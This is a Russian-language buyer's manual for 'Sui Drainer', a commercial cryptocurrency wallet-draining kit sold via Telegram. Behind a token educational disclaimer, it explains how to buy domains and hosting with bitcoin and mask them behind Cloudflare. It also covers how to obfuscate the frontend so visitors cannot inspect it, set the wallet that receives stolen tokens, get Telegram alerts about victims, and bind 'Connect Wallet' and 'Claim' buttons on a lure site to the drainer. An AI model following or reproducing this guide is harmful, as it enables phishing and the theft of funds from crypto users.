"Sui Drainer by CozartWeb"
Дисклеймер:
Этот скрипт разработан исключительно с целью повышения осведомленности пользователей о безопасности их кошельков web3. Автор не несет ответственности за любое незаконное использование данного программного обеспечения. Используйте его только для тестирования безопасности своих собственных кошельков или с согласия владельцев. Помните, что несанкционированный доступ к кошелькам или другим электронным ресурсам является незаконным и подлежит преследованию по закону.
Вступление:
Приветствую! Если вы здесь, то вероятно являетесь покупателем моего продукта. Для того, чтобы полноценно его использовать, вам необходимо для начала произвести ряд действий, о которых я расскажу в данной теме. Инструкция, представленная ниже, разбита на 3 основных блока. Чтобы процесс был проще, я советую вам двигаться строго по порядку. Перед тем как привязывать скрипт к вашему основному офферу, сначала произведите настройки на тестовом, который идет в файлах проекта. Если же на этапе настройки все-таки возникнут какие-то вопросы, то вы всегда можете задавать их мне лично в telegram https://t.me/cozartweb.
Инструкция:
1. Подготовка
Используется для определения перечня активов в кошельке пользователя, их количества и стоимости.
Переходим по ссылке: click и регистрируемся.
Ключ бесплатный, но имеет ограниченное количество поинтов на один аккаунт. Поэтому периодически необходимо будет регистрировать новые аккаунты и создавать новые ключи (подходят одноразовые почты).
1.2. Telegram Chat ID и Token ID
Используются для того, чтобы мы могли получать уведомления о действиях посетителей сайта в наш telegram канал.
Переходим по ссылке: https://t.me/BotFather и создаем нового бота. После создания бот отправляет нам сообщение, содержащее Token ID бота. Сохраняем его.
Затем создаем приватный канал. Приглашаем в него нашего созданного бота, наделяя его при этом правами администратора.
Переходим по ссылке https://t.me/LeadConverterToolkitBot и запускаем бота. В нашем канале создаем любой пост и пересылаем его этому боту. Он выдает нам Chat ID канала. Сохраняем его.
1.3. Покупка доменов для клиентской части и серверной.
Собственно, все понятно по названию пункта. Стоит лишь сказать, что домен под серверную часть покупаем абсолютно любой, т.к. он фигурирует лишь в коде. А домен под клиентскую часть выбираем, исходя из нашего оффера (сайта).
Как пример, сервис https://www.namesilo.com/, в котором есть оплата в bitcoin (там же можно взять и хостинг).
1.3.1. Перенос доменных имен в Cloudflare (необязательно, но очень полезно)
Cloudflare — это сеть серверов по всему миру, к которой люди подключают свои сайты, чтобы увеличить скорость их загрузки и защитить от DDoS-атак.
Переходим по ссылке : https://dash.cloudflare.com/ и регистрируем бесплатный аккаунт.
Добавляем домен. В разделе "DNS" и там же в разделе "Records" нажимаем "Add record" и создаем 2 следующих DNS-записи:
A | @ | ваш ip-адресс vps | proxy status - "on"
A | www | ваш ip-адресс vps | proxy status - "on"
Ниже мы найдем NS-записи (NameServers), которые нужно будем перенести в регистратор нашего домена.
В NameSilio переходим в "Domain Manager", находим наш домен и меняем там NameServers.
Далее в Cloudflare Идем в раздел "SSL/TLS" и там же в раздел "Overview" включаем SSL/TLS Recommender. А в разделе выше "Your SSL/TLS encryption mode" выбираем режим "Full".
Повторяем со вторым нашим доменом.
(Важно помнить, что перенос домена может занять некоторое время)
При желании, в разделе "Overview", вы можете включить "Under Attack Mode", чтобы при входе на сайт была дополнительная проверка посетителя "на человека".
Если произвели изменения в коде клиентской части на хостинге, то нужно очистить кэш. Делается в том же разделе в "Configure caching". Чистим, нажав на "Purge Everything".
На хостинге мы будем размещать файлы клиентской части, а на VPS - серверной части.
Виртуальный сервер можно взять здесь. Есть оплата в крипте. Берем самый дешевый сервер на Ubuntu 22.04
Хостинг можно взять здесь. Есть оплата в bitcoin. Берем самый дешевый хостинг
Нам будет необходимо привязать к виртуальному хостингу купленный домен и получить бесплатный SSL. Чаще всего это легко делается в интерфейсе сервиса. Иногда можно воспользоваться чатом тех. поддержки.
К виртуальному серверу привязывать домен и получать SSL мы будет в разделе 3.
После привязок домена возможно придется подождать вплоть до 24 часов для обновления DNS-серверов.
2. Frontend/Клиентская часть
Переходим по ссылке: https://nodejs.org/en/download , выбираем версию v18.19.1, скачиваем и устанавливаем. Чтобы проверить, что Node.js установилась, и узнать версию, откройте терминал и введите две команды node -v
и npm -v
. Если версии указаны (друг от друга они отличаются), то все сделано правильно.
2.2 Настройки клиентской части
Копируем содержимое папки Frontend к себе на компьютер в удобное место.
Так как все важные данные находятся на серверной части, то настройка клиентской содержит всего несколько пунктов. Заходим в папку src и находим там файл main.js, который необходимо открыть через любой редактор кода (для пользователей windows для удобства рекомендую скачать VSC по ссылке https://code.visualstudio.com/ и использовать).
Чуть ниже первых строк кода видим константы, задающие необходимые для работы скрипта параметры:
THEME_STYLE
. Позволяет выбрать общее оформление модального окна и уведомлений (темное или светлое);
SERVER_DOMAIN
. Доменное имя нашего сервера в формате domen.com, к которому будут отправляться запросы с клиентской части;
CONNECTION_BUTTON_TEXT
. Текстовое содержание кнопок на сайте, к которым привязан основной функционал. Это содержание появится сразу после открытия сайта (например, "Connect Wallet");
WITHDRAWAL_BUTTON_TEXT
. Текстовое содержание кнопок на сайте, к которым привязан основной функционал. Это содержание появится только после подключения пользователя к сайту (например, "Claim");
DISABLED_BUTTON_TEXT
. Текстовое содержание кнопок на сайте, к которым привязан основной функционал. Это содержание появится при неудовлетворительном балансе пользователя (например, "Insufficient balance").
2.3 Установка необходимых для работы "пакетов" и создание сборки проекта
Нам необходимо открыть терминал в корневой папке клиентской части (папка Frontend). Заходим на компьютере в папку, куда сохранили проект. Нажимаем в свободной области правой кнопкой мыши и выбираем "Открыть в терминале" (в терминале проверьте, совпадает ли путь). Теперь, чтобы установить необходимые зависимости, в терминале вводим команду npm i
, нажимаем enter и ждем, пока загрузка завершится (проект дополнится папкой node_modules и файлом package_lock.json).
Для работы используется сборщик проектов WebPack. Чтобы ранее установленные пакеты были интегрированы в итоговую сборку проекта, нам необходимо в терминале прописать npm run build
и дождаться завершения задачи.
После выполнения пунктов выше папка public будет содержать 3 элемента (index.html, boundle.js и папка source).
2.4 Обфускация клиентской части кода
Обфускация (запутывание) кода необходимо для того, чтобы любопытные посетители сайта лишний раз его не проглядывали и не достали ничего для них интересного оттуда (вы тратили деньги на скрипт, а я время).
Переходим по ссылке https://obfuscator.io/ и вставляем в поле всё содержимое файла bundle.js, предварительно очистив само поле. Выбираем снизу в Options Preset "High". И нажимаем кнопку "Obfuscate". Мы получаем неудобочитаемый код, которым заменяем содержимое файла bundle.js (предварительно сделав копию оригинала для себя).
2.5 Загрузка файлов на виртуальный хостинг
Ранее мы купили хостинг, привязали к нему домен и SSL. Затем настроили файлы клиентской части. Теперь мы можем залить наши файлы index.html, boundle.js и папку source на хостинг. Делать вы это можете как через панель, так и через FTP (после освоения является более удобным вариантом; используется программа FileZilla https://filezilla.ru/get/).
3. Backend/Серверная часть
Если не выполняли пункт 1.6.1., то для начала необходимо изменить А-записи в настройках DNS нашего домена. Делается это на сервисе, где вы его покупали. Стандартные А-записи необходимо поменять на следующие:
A | @ | ваш ip-адресс vps | proxy status - "on"
A | www | ваш ip-адресс vps | proxy status - "on"
И так, мы купили выделенный сервер на Ubuntu 22.04. Теперь нам необходимо произвести его настройки, привязать домен и получить SSL. Работа с сервером производится через консоль. Иногда поставщики серверов предоставляют консоль прямо на сайте, но для дальнейшего удобства лучше скачать программу Putty и работать через нее по SSH.
Переходим по ссылке: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html и скачиваем актуальную версию. Открываем программу. В "Host Name" вводим ip-адрес нашего сервера и нажимаем "Open". Откроется терминал, где сначала необходимо ввести login. Вводим "root" и нажимаем Enter. Далее необходимо ввести пароль (терминал не будет показывать вводимые символы пароля, не удивляйтесь). Чтобы вставить скопированный пароль (и в дальнейшем необходимые команды) просто нажимаем в консоли правой кнопкой мыши, а затем enter. Сам пароль вы получаете с покупкой сервера (логин "root" тоже может иногда отличаться).
Далее двигаемся по шагам. Команды вводятся по порядку и по завершению работы каждой.
Первый шаг — обновление кэша APT. Оно выполняется следующей командой:
sudo apt update
Мы убедились, что репозитории синхронизированы. Теперь можно загрузить и установить Node.js. Выполняем поочередно в консоли команды:
sudo apt install curl
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt-get install -y nodej
s
Система установит необходимую нам версию Node.js
Здесь и далее вы можете наблюдать в консоли вопрос "Do you want to continue?". Просто вводим в консоль "y", нажимаем enter и установка продолжается. Так же на этом этапе возможно будет указано, что версия node.js устарела, но нам нужна именно она, поэтому ждем сначала 20 секунд, потом еще 60 (в консоли будут подсказки).
Проверяем установленные версии командами:
node -v
npm -v
Мы установили nodejs и npm на сервер, но еще необходимо прикрепить домен, выпустить SSL и пробросить порты, чтобы сервер был доступен по домену и никаких проблем с ответом от браузера не возникало, когда к нему будут обращаться.
Для начала разрешим порты 80 и 443 в брандмауэре UFW:
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp
sudo ufw reload
Далее водим следующие команды:
sudo apt install certbot
sudo certbot certonly --standalone -d your-domain.com -d www.your-domain.com
(где "your-backend-domain.com" необходимо заменить на свой домен под сервер)
sudo certbot renew --dry-run
Затем устанавливаем pm2 для работе сервера на постоянной основе:
npm install pm2 -g
3.2 Настройка наших данных на сервере
В папке Backend открываем файл server.js через редактор кода.
Чуть ниже первых строк кода видим константы, задающие необходимые для работы скрипта параметры (в коде есть подсказки):
FRONTEND_LINKS
. Ссылки на наши домены, указанные через запятую (например,['https://domen1.com', ''https://domen2.com']). Слэша вконце ссылки быть не должно. Не советую использовать много клиентов на один сервер;
SERVER_DOMAIN
. Домен нашего сервера в формате domen.com;
RECEIVER_ADDRESS
. Адрес кошелька, на который будут приходить токены;
MIN_TOKEN_BALANCE
. Минимальный баланс токенов для проверки в долларах;
TELEGRAM_TOKEN_ID
. Токен ID бота, полученный в первом блоке инструкции;
TELEGRAM_CHAT_ID
. Чат ID канала, полученный в первом блоке инструкции;
BLOCK_VISION_API
. Апи ключ Block Vision, полученные в первом блоке инструкции;
3.3 Отправка файлов на сервер и его запуск
Аналогично пункту 2.5, к серверу так же рекомендую подключаться по FTP с помощью FileZilla, чтобы заливать туда файлы и редактировать их.
После того, как подключение совершено, мы должны перейти в папку root и создать там папку server, в которую затем должны залить наши файлы из папки Backend (package.json и server.js).
Серверные файлы обфусцировать не нужно.
Теперь нам необходимо перейти в эту папку в терминале. Для этого сейчас и в дальнейшем необходимо использовать команду:
cd server
Устанавливаем необходимые для работы скрипта зависимости командой:
npm i
Ранее, в пункте 3.1, мы установили пакет pm2, который поможет нам работать с сервером с помощью следующих команд:
pm2 start server.js
. Запускает сервер до момента, пока вы его не отключите сами;
pm2 restart server.js
. Перезапускает сервер (необходимо делать после того, как вы вносите какие-либо изменения в файлах на сервере, чтобы эти изменения применились);
pm2 stop server.js
. Выключает сервер;
pm2 logs
. Выводит в консоль логи о статусе работы сервера (позволяет определить ошибки в работе скрипта или самого сервера).
Как привязать скрипт к сайту:
Для того, чтобы перенести скрипт на ваш сайт/лендинг, необходимо произвести ряд действий.
В индексных файлах вашего сайта необходимо найти все кнопки, к которым будут подвязаны действия подключения и вывода средств. Сначала с этих кнопок необходимо снять все действия, которые были в оригинале сайта. Затем необходимо всем кнопкам присвоить класс "connect-button". Например:
<button class="connect-button">Connect</button>
Перед закрывающим тегом body необходимо подключить наш главный скрипт boundle.js с типом "module":
<script src="./bundle.js" type="module"></script>
</body>
В папке Frontend, в папке src есть файл layer.js, в котором можно поиграться со стилями лоадера, блока ошибок и модального окна.
Файл boundle.js и папка source, о которых была речь в пункте 2.5, должны всегда находиться в корневой папке проекта. Индексных файлов для многостраничных сайтов может быть несколько, но главный всегда должен быть так же в корне проекта.
Вопросы и ответы:
В:
Где брать трафик и актуальные офферы?
О:
Я консультирую лишь по вопросам настройки и работы скрипта. Поиск источника траффика, актуального оффера, поставщика виртуального хостинга и виртуального сервера — исключительно ваша задача. Я показал настройку на примере некоторых сервисов, но конечный выбор за вами.
В:
Как будут выдаваться обновления?
О:
Обновления, касающиеся непосредственно работоспособности скрипта, будут выдаваться бесплатно. При этом, некоторые обновления, не влияющие на работу актуальной версии, но вносящие какие-либо дополнительные изменения/улучшения, иногда могут выдаваться за дополнительную плату (в зависимости от сложности их реализации).
В:
В безопасности ли данные, указываемые в настройках?
О:
Все важные данные находятся на серверной части проекта. Посетители сайта не смогут завладеть ими в теории. Ваша задача не предоставлять доступ к кошелькам, api ключам и данным от хостинга/сервера посторонним людям, которым вы не доверяете.
В:
В каком случае поддержка прекратится?
О:
Запрещена перепродажа. Запрещено использование незашифрованного кода (обфускация). В случае нарушений этих двух простых условий поддержка будет прекращена, в особых ситуациях будет открываться арбитраж на форуме.
Надеюсь, что вам все было понятно и у вас все получится как с настройкой, так и с дальнейшим использованием скрипта. Но в любом случае, вы можете обращаться ко мне лично в telegram https://t.me/cozartweb
Чтобы своевременно получать от меня ответы на ваши вопросы, прошу писать сразу по сути и без голосовых сообщений.